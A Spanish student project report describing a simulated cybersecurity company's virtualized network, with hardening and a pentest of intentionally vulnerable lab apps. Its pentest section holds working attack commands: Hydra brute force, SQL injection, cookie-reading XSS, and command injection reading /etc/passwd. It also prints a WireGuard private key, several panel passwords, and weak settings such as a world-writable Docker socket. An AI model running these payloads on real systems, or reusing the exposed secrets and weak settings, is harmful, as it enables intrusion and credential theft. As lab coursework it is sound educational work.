MILLORNET

Empresa de Ciberseguridad y Pentesting

MEMORIA TECNICA DEL PROYECTO

Proyecto	Infraestructura empresarial de ciberseguridad sobre VirtualBox
Empresa	Millornet
Autores	Iker VP / Enric TG
Curso	ASIX — 2025/2026
Fecha	Abril 2026
Version	0.3

Documento confidencial — Uso educativo

1. Introduccion y Descripcion del Proyecto

Millornet es una empresa simulada de ciberseguridad y pentesting creada como Proyecto Final del ciclo formativo ASIX 2025/2026. El objetivo principal ha sido disenar, implementar y securizar una infraestructura empresarial completa sobre entorno virtualizado, que replica un entorno real de produccion con segmentacion de redes, servicios en contenedores Docker, monitorizacion, backups, VPN, laboratorio de pentesting y politicas de seguridad.

Todo el proyecto ha sido desplegado sobre VirtualBox usando Ubuntu Server 24.04 LTS como sistema operativo base en todas las maquinas virtuales.

1.1 Objetivos del Proyecto

- Disenar una arquitectura de red empresarial segmentada con DMZ, red de empresa y red de laboratorio
- Implementar servicios de red esenciales: router, DNS, DHCP, firewall, VPN
- Desplegar servicios empresariales en contenedores Docker con monitorizacion
- Configurar una zona DMZ con servicios web, mail y FTP
- Crear un laboratorio de pentesting con maquinas vulnerables
- Realizar pruebas de penetracion y documentar vulnerabilidades
- Aplicar hardening de seguridad en todos los sistemas
- Generar documentacion tecnica profesional

1.2 Tecnologias Utilizadas

Tecnologia	Version	Uso
VirtualBox	7.x	Virtualizacion
Ubuntu Server	24.04 LTS	Sistema operativo base
Docker / Compose	Latest	Contenedores de servicios
iptables	1.8.x	Firewall y NAT
Bind9	9.18	Servidor DNS
isc-dhcp-server	4.4.x	Servidor DHCP
WireGuard	1.0	VPN
Traefik	Latest	Proxy inverso SSL
Grafana + Prometheus	Latest	Monitorizacion
Fail2ban	1.0.x	Proteccion anti-fuerza bruta
Lynis	3.x	Auditoría de seguridad
Metasploit Framework	6.4.123	Framework de pentesting
Nmap / Nikto / Hydra	Varias	Herramientas de pentesting
Wazuh Agent	4.14.4	SIEM — agentes de monitorizacion
OpenSSL	3.x	Certificados SSL/TLS

2. Arquitectura de Red

La infraestructura de Millornet esta disenada con una segmentacion de red en tres zonas claramente diferenciadas, siguiendo las buenas practicas de seguridad empresarial. El router actua como elemento central que separa y controla el trafico entre todas las redes.

2.1 Diagrama de Red

Topologia de Red

[Internet / IP Publica] |[Adaptador Puente] — enp0s3 WAN (192.168.1.0/24)
|[millornet-router] — Ubuntu Server 24.04 | +—— enp0s8 ——> Red Empresa (10.10.10.0/24) | Servidor, herramientas internas | +—— enp0s9 ——> Red DMZ (10.20.20.0/24) | Web publica, Mail, FTP | +—— enp0s10 ——> Red Laboratorio (10.30.30.0/24) Maquinas vulnerables (aisladas)

2.2 Inventario de Maquinas Virtuales

Hostname	IP Principal	IP Host-Only	RAM	Rol
millornet-router	10.10.10.1	192.168.1.39	2 GB	Router / Firewall / DNS / DHCP / VPN
millornet-server	10.10.10.10	192.168.56.102	4 GB	Servidor principal Docker
millornet-dmz	10.20.20.10	192.168.56.103	2 GB	DMZ — Web, Mail, FTP
millornet-lab	10.30.30.10	192.168.56.104	2 GB	Laboratorio de pentesting

2.3 Politica de Segmentacion

Origen	Destino	Permitido	Motivo
Red Empresa	Internet	**SI**	Acceso normal
Red Empresa	Red DMZ	**SI**	Gestion interna
Red Empresa	Red Lab	**SI**	Ataques controlados
Red DMZ	Internet	**SI**	Servicios publicos
Red DMZ	Red Empresa	**NO**	Aislamiento DMZ
Red Lab	Cualquier red	**NO**	Laboratorio aislado

3. Configuracion del Router (millornet-router)

El router es el elemento central de la infraestructura. Es una maquina virtual con Ubuntu Server 24.04 que actua como gateway, firewall, servidor DNS, servidor DHCP y servidor VPN para todas las redes internas.

3.1 Configuracion de Interfaces de Red (Netplan)

Fichero: /etc/netplan/00-installer-config.yaml

```
network:
  version: 2
  ethernets:
    enp0s3:
      dhcp4: true  # WAN — Adaptador puente
    enp0s8:
      addresses: [10.10.10.1/24]  # Red empresa
    enp0s9:
      addresses: [10.20.20.1/24]  # Red DMZ
    enp0s10:
      addresses: [10.30.30.1/24]  # Red laboratorio
```

Aplicar configuracion:

```
sudo netplan apply
```

Habilitar IP forwarding de forma permanente:

```
echo 'net.ipv4.ip_forward=1' | sudo tee -a /etc/sysctl.conf
sudo sysctl -p
```

3.2 Servidor DHCP (isc-dhcp-server)

Instalacion:

```
sudo apt install -y isc-dhcp-server
```

Fichero: /etc/dhcp/dhcpd.conf

```
subnet 10.10.10.0 netmask 255.255.255.0 {
  range 10.10.10.10 10.10.10.100;
  option routers 10.10.10.1;
  option domain-name-servers 10.10.10.1;
}
subnet 10.20.20.0 netmask 255.255.255.0 {
  range 10.20.20.10 10.20.20.50;
  option routers 10.20.20.1;
  option domain-name-servers 10.20.20.1;
}
subnet 10.30.30.0 netmask 255.255.255.0 {
  range 10.30.30.10 10.30.30.50;
  option routers 10.30.30.1;
  option domain-name-servers 10.30.30.1;
}
```

Activar servicio:

```
sudo systemctl enable --now isc-dhcp-server
```

3.3 Servidor DNS (Bind9)

Instalacion:

```
sudo apt install -y bind9 bind9-utils
```

Zonas configuradas en /etc/bind/named.conf.local:

- millornet.local — Red de empresa (10.10.10.0/24)
- dmz.millornet.local — Red DMZ (10.20.20.0/24)
- lab.millornet.local — Red laboratorio (10.30.30.0/24)

Forwarding configurado a 8.8.8.8 (Google DNS) para resoluciones externas.

```
sudo systemctl enable --now bind9
```

3.4 Firewall con iptables

El firewall implementa una politica DROP por defecto con reglas explicitas para cada tipo de trafico permitido.

Fichero: /etc/firewall-millornet.sh

```
#!/bin/bash
# Limpiar reglas anteriores
iptables -F && iptables -X && iptables -t nat -F

# Politica por defecto: DROP
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT ACCEPT

# Loopback
iptables -A INPUT -i lo -j ACCEPT

# NAT para salida a internet
iptables -t nat -A POSTROUTING -o enp0s3 -j MASQUERADE

# Permitir trafico establecido
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A FORWARD -m state --state ESTABLISHED,RELATED -j ACCEPT

# SSH desde red empresa y host-only
iptables -A INPUT -i enp0s8 -p tcp --dport 22 -j ACCEPT
iptables -A INPUT -s 192.168.1.0/24 -p tcp --dport 22 -j ACCEPT

# Empresa puede salir a internet y acceder a DMZ
iptables -A FORWARD -i enp0s8 -o enp0s3 -j ACCEPT
iptables -A FORWARD -i enp0s8 -o enp0s9 -j ACCEPT
```

```
iptables -A FORWARD -i enp0s8 -o enp0s10 -j ACCEPT

# DMZ solo puede salir a internet
iptables -A FORWARD -i enp0s9 -o enp0s3 -j ACCEPT
iptables -A FORWARD -i enp0s9 -o enp0s8 -j DROP

# Lab completamente aislado
iptables -A FORWARD -i enp0s10 -o enp0s3 -j DROP
iptables -A FORWARD -i enp0s10 -o enp0s8 -j DROP
iptables -A FORWARD -i enp0s10 -o enp0s9 -j DROP

# WireGuard VPN
iptables -A INPUT -p udp --dport 51820 -j ACCEPT
iptables -A FORWARD -i wg0 -j ACCEPT

# ntopng
iptables -A INPUT -s 192.168.1.0/24 -p tcp --dport 3000 -j ACCEPT
```

Servicio systemd para persistencia:

```
sudo systemctl enable firewall-millornet
sudo bash /etc/firewall-millornet.sh
```

3.5 VPN WireGuard

WireGuard proporciona acceso remoto seguro a todas las redes internas desde cualquier ubicacion.

Instalacion:

```
sudo apt install -y wireguard
wg genkey | sudo tee /etc/wireguard/server.key | wg pubkey | sudo tee
/etc/wireguard/server.pub
```

Fichero: /etc/wireguard/wg0.conf

```
[Interface]
PrivateKey = <clave privada servidor>
Address = 10.99.99.1/24
ListenPort = 51820
PostUp = iptables -A FORWARD -i wg0 -j ACCEPT
PostDown = iptables -D FORWARD -i wg0 -j ACCEPT

[Peer]
PublicKey = <clave publica cliente>
AllowedIPs = 10.99.99.2/32
```

Fichero de configuracion del cliente (millornet-vpn.conf):

```
[Interface]
PrivateKey = ADnBzuiYU/+C6hWHeczHg8cI+rdgiGFW1JxHlBrj4mI=
Address = 10.99.99.2/24
DNS = 10.10.10.1
```

```
[Peer]
PublicKey = INTv64mmwnzt90AUerltuXXfjGJsdU+MxVOoyL7zGWs=
Endpoint = <IP_PUBLICA>:51820
AllowedIPs = 10.10.10.0/24, 10.20.20.0/24, 10.30.30.0/24, 10.99.99.0/24
PersistentKeepalive = 25
```

Activar WireGuard:

```
sudo systemctl enable --now wg-quick@wg0
```

3.6 Monitorizacion de Trafico — ntopng

ntopng proporciona analisis de trafico de red en tiempo real accesible desde el navegador.

```
sudo apt install -y ntopng
sudo systemctl enable --now ntopng
```

Acceso: http://10.10.10.1:3000 — Credenciales: admin/admin

4. Servidor Principal (millornet-server)

El servidor principal aloja todos los servicios internos de la empresa en contenedores Docker gestionados con Docker Compose. Incluye proxy inverso, panel de administracion, backups, monitorizacion y herramientas de pentesting.

4.1 Instalacion de Docker

```
sudo apt install -y docker.io docker-compose
sudo systemctl enable --now docker
sudo usermod -aG docker $USER
sudo chmod 666 /var/run/docker.sock
```

4.2 Stack Docker — Servicios Empresariales

Fichero: ~/millornet/docker-compose.yml

Contenedor	Imagen	Puerto	Funcion
millornet-traefik	traefik:latest	80/443/8080	Proxy inverso SSL
millornet-portainer	portainer/portainer-ce	9000/9443	Panel de gestion Docker
millornet-duplicati	linuxserver/duplicati	8200	Backups cifrados AES-256
millornet-prometheus	prom/prometheus	9090	Recoleccion de metricas
millornet-grafana	grafana/grafana	3000	Dashboard de monitorizacion
millornet-node-exporter	prom/node-exporter	9100	Metricas del sistema
millornet-cadvisor	gcr.io/cadvisor	8081	Metricas de contenedores

Comandos de gestion del stack:

```
cd ~/millornet
docker compose up -d      # Levantar todos los servicios
docker compose ps         # Ver estado de contenedores
docker compose down       # Parar todos los servicios
docker compose logs -f    # Ver logs en tiempo real
```

4.3 Ampliacion del Disco Virtual

Durante el proyecto fue necesario ampliar el disco del servidor de 20GB a 70GB para poder instalar Metasploit y otras herramientas. El proceso se realizo con la VM apagada desde el PC principal.

Desde CMD en el PC principal (VM apagada):

```
"C:\Program Files\Oracle\VirtualBox\VBoxManage" modifyhd "E:\MAQUIANS
VIRTUALES\Millornet\millornet-server\millornet-server.vdi" --resize 71680
```

Desde el servidor, una vez arrancado, para ampliar la particion:

```
sudo apt install -y cloud-guest-utils
sudo growpart /dev/sda 3
sudo pvresize /dev/sda3
sudo lvextend -l +100%FREE /dev/ubuntu-vg/ubuntu-lv
sudo resize2fs /dev/mapper/ubuntu--vg-ubuntu--lv
df -h /  # Verificar resultado
```

4.4 Certificados SSL/TLS

Se ha creado una Autoridad Certificadora (CA) propia de Millornet para firmar certificados SSL en todos los servicios internos.

Crear la CA raiz de Millornet:

```
mkdir -p ~/millornet/certs && cd ~/millornet/certs
openssl genrsa -out millornet-ca.key 4096
openssl req -x509 -new -nodes -key millornet-ca.key -sha256 -days 1825 \
  -out millornet-ca.crt \
  -subj "/C=ES/ST=Catalunya/L=Barcelona/O=Millornet/CN=Millornet-CA"
```

Generar certificado para el servidor:

```
openssl genrsa -out millornet-server.key 2048
openssl req -new -key millornet-server.key -out millornet-server.csr \
  -subj "/C=ES/ST=Catalunya/L=Barcelona/O=Millornet/CN=millornet-server"
openssl x509 -req -in millornet-server.csr \
  -CA millornet-ca.crt -CAkey millornet-ca.key -CAcreateserial \
  -out millornet-server.crt -days 365 -sha256
```

Generar certificado para la DMZ:

```
openssl genrsa -out millornet-dmz.key 2048
openssl req -new -key millornet-dmz.key -out millornet-dmz.csr \
  -subj "/C=ES/ST=Catalunya/L=Barcelona/O=Millornet/CN=millornet-dmz"
openssl x509 -req -in millornet-dmz.csr \
  -CA millornet-ca.crt -CAkey millornet-ca.key -CAcreateserial \
  -out millornet-dmz.crt -days 365 -sha256
```

5. Zona DMZ (millornet-dmz)

La DMZ aloja los servicios accesibles desde internet de forma controlada. Esta completamente aislada de la red de empresa por el firewall del router — no puede iniciar conexiones hacia la red interna.

5.1 Stack Docker — Servicios DMZ

Fichero: ~/millornet-dmz/docker-compose.yml

Contenedor	Imagen	Puertos	Dominio
dmz-nginx	nginx:latest	80, 443	www.dmz.millornet.local
dmz-mailserver	docker-mailserver	25, 587, 993	mail.dmz.millornet.local
dmz-ftp	garethflowers/ftp-server	20, 21	ftp.dmz.millornet.local

5.2 Usuarios DMZ

Usuario	Docker	Descripcion
ikervp	Si	Administrador principal
webmaster-millornet	Si	Gestiona la web Nginx
invitado-millornet	No	Acceso muy limitado — shell restringida (rbash)

6. Laboratorio de Pentesting (millornet-lab)

El laboratorio es una red completamente aislada (10.30.30.0/24) que contiene aplicaciones web intencionalmente vulnerables para practicar tecnicas de pentesting en un entorno controlado y legal.

6.1 Configuracion de Red del Laboratorio

La VM millornet-lab tiene dos adaptadores de red:

- enp0s3: 10.30.30.10/24 — Red interna de laboratorio (LAN40)
- enp0s8: 192.168.56.104/24 — Host-only para acceso SSH

Fichero Netplan /etc/netplan/00-installer-config.yaml:

```
network:
  version: 2
  ethernets:
    enp0s3:
      addresses: [10.30.30.10/24]
      routes:
        - to: default
          via: 10.30.30.1
      nameservers:
        addresses: [10.30.30.1]
    enp0s8:
      addresses: [192.168.56.104/24]
```

6.2 Contenedores Vulnerables

Contenedor	Imagen	Puerto	Descripcion
lab-dvwa	vulnerables/web-dvwa	8080	Damn Vulnerable Web App — SQLi, XSS, RCE...
lab-webgoat	webgoat/webgoat	8081	OWASP WebGoat — lecciones guiadas OWASP Top 10
lab-juiceshop	bkimminich/juice-shop	8082	OWASP Juice Shop — CTF con vulns reales
lab-mutillidae	citizenstig/nowasp	8083	Mutillidae — aplicacion web altamente vulnerable

Comandos de gestion del laboratorio (en millornet-lab):

```
cd ~/millornet-lab
sudo docker-compose up -d
sudo docker-compose ps
```

Nota importante
Para instalar los contenedores fue necesario permitir temporalmente la salida a internet desde el laboratorio en el router con:iptables -A FORWARD -i enp0s10 -o enp0s3 -j ACCEPTiptables -t nat

-A POSTROUTING -s 10.30.30.0/24 -o enp0s3 -j MASQUERADEUna vez instalado Docker y descargadas las imagenes, se volvio a aislar el laboratorio.

7. Hardening y Seguridad

Se ha aplicado un proceso de hardening en todas las maquinas de la infraestructura siguiendo las recomendaciones de Lynis y las buenas practicas de seguridad en sistemas Linux.

7.1 Fail2ban — Proteccion Anti-Fuerza Bruta

Instalado en router y servidor para bloquear automaticamente IPs que realicen demasiados intentos fallidos de autenticacion SSH.

```
sudo apt install -y fail2ban
```

Fichero /etc/fail2ban/jail.local:

```
[sshd]
enabled = true
port = ssh
maxretry = 3
bantime = 7200
findtime = 600
```

```
sudo systemctl enable --now fail2ban
sudo fail2ban-client status sshd  # Ver estado
```

7.2 Hardening SSH

Configuracion aplicada en /etc/ssh/sshd_config en todas las maquinas:

```
PermitRootLogin no
MaxAuthTries 3
AllowTcpForwarding no
ClientAliveCountMax 2
X11Forwarding no
```

```
sudo systemctl restart sshd
```

7.3 Politica de Contrasenas

Configuracion aplicada en /etc/login.defs:

```
PASS_MAX_DAYS 90   # Expiracion maxima
PASS_MIN_DAYS 1    # Dias minimos entre cambios
PASS_WARN_AGE 7    # Aviso antes de expiracion
UMASK 027          # Permisos restrictivos por defecto
```

7.4 Bloqueo de Protocolos Inseguros

Fichero /etc/modprobe.d/blacklist.conf en todas las maquinas:

```
install dccp /bin/true
install sctp /bin/true
install rds /bin/true
install tipc /bin/true
```

7.5 Auditoria con Lynis

Se realizaron auditorias de seguridad con Lynis antes y despues de aplicar el hardening:

```
sudo apt install -y lynis
sudo lynis audit system
```

Maquina	Puntuacion Inicial	Puntuacion Final	Mejora
millornet-router	62/100	71/100	**+9 puntos**
millornet-server	59/100	69/100	**+10 puntos**

7.6 Gestion de Usuarios

Se han creado usuarios con privilegios minimos necesarios en cada maquina:

Usuario	Maquina	Sudo	Docker	Descripcion
ikervp	Todas	Si	Si	Administrador principal
enrinctg	Router/Server	Si	Si	Administrador secundario
dev-millornet	Servidor	No	Si	Gestiona contenedores Docker
analista-millornet	Servidor	No	No	Solo lectura de logs (grupo adm)
webmaster-millornet	DMZ	No	Si	Gestiona web Nginx
invitado-millornet	Todas	No	No	Shell restringida (rbash)

7.7 Agentes Wazuh SIEM

Se instalaron agentes de Wazuh en router, servidor y DMZ para monitorizacion de seguridad en tiempo real.

Instalacion del agente (en cada maquina):

```
sudo curl -s https://packages.wazuh.com/key/GPG-KEY-WAZUH | sudo gpg \
  --no-default-keyring --keyring gnupg-ring:/usr/share/keyrings/wazuh.gpg --import
sudo chmod 644 /usr/share/keyrings/wazuh.gpg
echo "deb [signed-by=/usr/share/keyrings/wazuh.gpg]
https://packages.wazuh.com/4.x/apt/ stable main" \
  | sudo tee /etc/apt/sources.list.d/wazuh.list
sudo apt update && sudo apt install -y wazuh-agent
sudo sed -i 's/MANAGER_IP/10.10.10.10/' /var/ossec/etc/ossec.conf
sudo systemctl enable --now wazuh-agent
```

ID	Agente	IP	Estado
001	millornet-router	10.10.10.1	Activo

002	millornet-server	10.10.10.10	Activo
003	millornet-dmz	10.20.20.10	Activo

8. Pruebas de Penetracion

Se realizaron pruebas de penetracion completas sobre el laboratorio de maquinas vulnerables. Todos los ataques se realizaron desde el servidor (10.10.10.10) hacia el laboratorio (10.30.30.10) en un entorno completamente controlado y aislado.

8.1 Herramientas de Pentesting Instaladas

Instalacion en el servidor (millornet-server):

```
sudo apt install -y nmap netcat-openbsd nikto sqlmap hydra john


# Metasploit Framework
curl
https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/m
etasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall && sudo ./msfinstall


# Diccionario de contrasenas
sudo mkdir -p /usr/share/wordlists
sudo wget
https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt \
  -O /usr/share/wordlists/rockyou.txt
```

8.2 Reconocimiento — Escaneo Nmap

Escaneo completo del laboratorio con deteccion de servicios y sistema operativo:

```
# Desde Metasploit
msfconsole
db_nmap -sV -O 10.30.30.10
```

Resultados del escaneo:

Puerto	Protocolo	Servicio / Version	Contenedor
22/tcp	SSH	OpenSSH 9.6p1 Ubuntu	millornet-lab
8080/tcp	HTTP	Apache 2.4.25 (Debian)	lab-dvwa
8081/tcp	HTTP	Apache Tomcat 10.1.36	lab-webgoat
8082/tcp	HTTP	Node.js (Juice Shop)	lab-juiceshop
8083/tcp	HTTP	Apache 2.4.7 (Ubuntu)	lab-mutillidae

8.3 Ataque 1 — Fuerza Bruta con Hydra

Objetivo: DVWA (puerto 8080). Ataque de fuerza bruta al formulario de login.

```
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.30.30.10 \
  http-post-form "/login.php:username=^USER^&password=^PASS^&Login=Login:Login
failed" \
  -t 4 -s 8080
```

Resultado — Contrasenas encontradas en 2 segundos:

Host	Usuario	Contrasena
10.30.30.10:8080	admin	password
10.30.30.10:8080	admin	123456

Conclusion: El formulario de login no tiene limite de intentos ni CAPTCHA. Severidad: CRITICA.

8.4 Ataque 2 — SQL Injection

Objetivo: DVWA — formulario de busqueda de usuarios (/vulnerabilities/sqli/).

Payload basico — bypass de autenticacion:

```
1' OR '1'='1
```

Resultado: Se devuelven todos los usuarios de la base de datos.

Payload UNION — extraccion de hashes de contrasenas:

```
1' UNION SELECT user, password FROM users#
```

Datos extraidos:

Usuario	Hash MD5	Contrasena
admin	5f4dcc3b5aa765d61d8327deb882cf99	password
gordonb	e99a18c428cb38d5f260853678922e03	abc123
1337	8d3533d75ae2c3966d7e0d4fcc69216b	charley
pablo	0d107d09f5bbe40cade3de5c71e9e9b7	letmein
smithy	5f4dcc3b5aa765d61d8327deb882cf99	password

Conclusion: Extraccion completa de la base de datos de usuarios con contrasenas hasheadas. Severidad: CRITICA.

8.5 Ataque 3 — Cross-Site Scripting (XSS)

Objetivo: DVWA — formularios XSS reflejado y almacenado.

XSS Reflejado — ejecucion de JavaScript:

```
<script>alert('XSS')</script>
```

XSS Reflejado — robo de cookie de sesion:

```
<script>alert(document.cookie)</script>
```

Resultado: language=en; PHPSESSID=0mjj6dqn1cffd6rtag6m7n6on4; security=low

XSS Almacenado en el guestbook (necesario modificar maxlength en el HTML):

```
<script>alert('XSS Almacenado - Millornet')</script>
```

Resultado: El script queda guardado en la BD y se ejecuta para TODOS los usuarios que visiten la pagina.

Conclusion: Posible robo de sesiones y ejecucion de codigo malicioso persistente. Severidad: ALTA.

8.6 Ataque 4 — Command Injection

Objetivo: DVWA — formulario de ping (/vulnerabilities/exec/).

Payloads ejecutados:

```
127.0.0.1; whoami           ->  www-data
127.0.0.1; cat /etc/passwd ->  Listado completo de usuarios
127.0.0.1; uname -a         ->  Linux Ubuntu 6.8.0 x86_64
127.0.0.1; cat /var/www/html/dvwa/includes/DBMS/MySQL.php  ->  Codigo fuente con
credenciales
```

Conclusion: Ejecucion remota de comandos como www-data con acceso completo al sistema de archivos. Severidad: CRITICA.

8.7 Escaneo con Nikto

Escaneo automatizado de vulnerabilidades web en DVWA y Mutillidae:

```
nikto -h http://10.30.30.10:8080 -o /tmp/nikto-dvwa.txt
nikto -h http://10.30.30.10:8083 -o /tmp/nikto-mutillidae.txt
```

Vulnerabilidad detectada	Servicio	Severidad
Carpeta /passwords/ con credenciales en texto plano	Mutillidae	**CRITICA**
phpMyAdmin accesible sin autenticacion	Mutillidae	**CRITICA**
PHP 5.5.9 desactualizado	Mutillidae	**ALTA**
.git/index expuesto	Mutillidae	**ALTA**
Cookies sin flag HttpOnly	Ambos	**MEDIA**
X-Frame-Options ausente	DVWA	**MEDIA**
Directory listing en /config/ y /docs/	DVWA	**MEDIA**

8.8 Explotacion phpMyAdmin — Mutillidae

Se accedio directamente al panel phpMyAdmin sin credenciales como usuario root:

```
# URL accesible sin autenticacion
http://10.30.30.10:8083/phpmyadmin/
```

Extraccion de hashes de MySQL desde el servidor:

```
sudo docker exec -it lab-mutillidae mysql -u root -e "SELECT User, Host, Password
FROM mysql.user;"
```

Usuario	Host	Hash
root	localhost	(sin contrasena)
admin	%	*873080160F1EE51490E2C24E225DDA57FC3CEF29

Hallazgo critico: root sin contrasena — acceso total a todas las bases de datos sin autenticacion.

9. Guia de Acceso a los Servicios

9.1 Acceso SSH

Maquina	Red local (sin VPN)	Con VPN activa
millornet-router	ssh ikervp@192.168.1.39	ssh ikervp@10.10.10.1
millornet-server	ssh ikervp@192.168.56.102	ssh ikervp@10.10.10.10
millornet-dmz	ssh ikervp@192.168.56.103	ssh ikervp@10.20.20.10
millornet-lab	ssh ikervp@192.168.56.104	ssh ikervp@10.30.30.10

9.2 Paneles Web (con VPN o tunel SSH)

Panel	URL	Credenciales
ntopng	http://10.10.10.1:3000	admin / admin
Portainer	http://10.10.10.10:9000	admin / (configurado al instalar)
Grafana	http://10.10.10.10:3000	admin / Millornet2026!
Traefik Dashboard	http://10.10.10.10:8080	Sin autenticacion
Duplicati	http://10.10.10.10:8200	alumnes
Web DMZ	http://10.20.20.10	Publica
DVWA	http://10.30.30.10:8080	admin / password
WebGoat	http://10.30.30.10:8081/WebGoat	guest / guest
Juice Shop	http://10.30.30.10:8082	Sin login inicial
Mutillidae	http://10.30.30.10:8083	admin / adminpass

9.3 Tunel SSH desde PC Principal

Para acceder a los paneles web desde el PC principal sin VPN:

```
ssh -L 9000:10.10.10.10:9000 -L 3000:10.10.10.10:3000 -L 8080:10.10.10.10:8080 -L
8200:10.10.10.10:8200 ikervp@192.168.56.102
```

9.4 Comandos de Arranque de los Servicios

Servidor principal — levantar stack Docker:

```
cd ~/millornet && docker compose up -d
```

DMZ — levantar stack Docker:

```
cd ~/millornet-dmz && sudo docker-compose up -d
```

Laboratorio — levantar contenedores vulnerables:

```
cd ~/millornet-lab && sudo docker-compose up -d
```

Router — verificar servicios:

```
sudo systemctl status isc-dhcp-server bind9 wg-quick@wg0 fail2ban ntopng
```

10. Repositorio GitHub

Todo el codigo del proyecto esta disponible en el repositorio publico de GitHub:

Repositorio
https://github.com/Kelvier/MillorNet

10.1 Estructura del Repositorio

```
MillorNet/
├── README.md                    # Documentacion principal
├── docs/                        # Documentacion tecnica
│   ├── Millornet-Documentacion.pdf
│   ├── Millornet-Auditoria-Seguridad.pdf
│   └── Millornet-Informe-Pentesting.pdf
├── router/                      # Configuraciones del router
│   ├── firewall-millornet.sh
│   ├── netplan.yaml
│   ├── dhcpd.conf
│   ├── named.conf.local
│   └── wg0.conf
├── server/                      # Servidor principal
│   ├── docker-compose.yml
│   ├── prometheus/prometheus.yml
│   └── traefik/traefik.yml
├── dmz/                         # Zona DMZ
│   ├── docker-compose.yml
│   └── nginx/
└── lab/                         # Laboratorio de pentesting
    └── docker-compose.yml
```

10.2 Comandos Git Utilizados

```
git config --global user.email "email@gmail.com"
git config --global user.name "Kelvier"
git clone https://github.com/Kelvier/MillorNet.git
git add .
git commit -m "feat: descripcion del cambio"
git pull origin main
git push
```

11. Conclusiones y Trabajo Futuro

11.1 Conclusiones

El proyecto Millornet ha permitido implementar una infraestructura empresarial completa y profesional que simula con fidelidad un entorno real de ciberseguridad. Se han conseguido todos los objetivos planteados inicialmente:

- Arquitectura de red segmentada con 4 zonas diferenciadas y politicas de acceso estrictas
- Router con servicios completos: NAT, firewall, DNS, DHCP, VPN WireGuard
- Stack Docker con 7 servicios empresariales monitorizados con Grafana y Prometheus
- DMZ con servicios web, mail y FTP correctamente aislados
- Laboratorio de pentesting con 4 aplicaciones vulnerables
- Pruebas de penetracion exitosas documentadas con evidencias
- Hardening de seguridad en todas las maquinas con mejoras verificadas por Lynis
- Certificados SSL/TLS con CA propia de Millornet
- Agentes Wazuh SIEM instalados en las 3 maquinas principales
- Documentacion tecnica completa y repositorio GitHub organizado

11.2 Trabajo Futuro

- Completar la instalacion del servidor Wazuh SIEM para visualizacion centralizada de alertas
- Añadir capturas de cada apartado
- Implementar 2FA en Portainer y Grafana
- Instalar DefectDojo para gestion profesional de vulnerabilidades
- Configurar DDNS (No-IP) para acceso VPN con IP publica dinamica
- Instalar herramientas de pentesting adicionales: Burp Suite, Wireshark
- Realizar informes de pentesting completos sobre todas las aplicaciones del laboratorio
- Implementar ELK Stack para logs centralizados
- Configurar alertas automaticas en Grafana